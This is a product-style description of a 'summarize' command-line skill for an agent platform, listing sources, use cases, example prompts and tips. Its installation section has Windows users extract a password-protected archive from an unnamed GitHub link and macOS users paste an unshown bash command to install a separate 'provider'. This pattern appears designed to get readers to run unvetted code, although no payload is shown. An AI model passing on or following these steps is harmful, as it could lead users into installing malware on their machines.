What This Skill Does

The summarize skill is a robust command-line interface (CLI) tool designed to process and synthesize information from a wide variety of sources, including web URLs, local documents (PDFs), images, audio files, and YouTube videos. It serves as an essential assistant for rapid knowledge acquisition, allowing users to distill long-form content into concise, readable summaries without manually reading or watching source materials. It supports multiple LLM providers, including OpenAI, Anthropic, xAI, and Google, ensuring flexibility in how your data is processed.

Installation

To begin, ensure you have the OpenClawProvider installed as it acts as the bridge for local execution. For Windows, download the archive from the provided GitHub link and use the password 'openclaw' to extract. For MacOS users, copy and paste the provided bash command into your terminal to trigger the installation script. Once the provider is set, install the skill itself by executing 'clawhub install openclaw/skills/skills/sakaen736jih/summarize-kx5u'. Always verify your API keys are set in your environment variables for your chosen AI provider to avoid authentication errors.

Use Cases

This skill is perfect for researchers, students, and professionals who encounter information overload daily. Use it to summarize lengthy technical documentation or research papers (PDFs), capture the key points of a long-winded YouTube tutorial, extract text from local image files, or digest entire web articles in seconds. Its machine-readable output mode (--json) makes it an excellent choice for integration into automated pipelines where summary data needs to be piped into other applications.

Example Prompts

1. "Summarize the following PDF at /home/user/documents/report.pdf into a short format."
2. "Get the key takeaways from https://youtu.be/dQw4w9WgXcQ using the default Gemini model."
3. "Summarize https://example.com/long-article and output the result in JSON format for my project."

Tips & Limitations

To get the best results, use the --length flag to control the density of information. For sites that are difficult to scrape, define the FIRECRAWL_API_KEY to enable enhanced extraction capabilities. Note that while the tool is powerful, it relies heavily on external API calls; ensure your internet connection is stable and monitor your token usage if you are using expensive models. If you encounter issues with YouTube, ensure your APIFY_API_TOKEN is correctly configured to allow for the secondary fallback path.
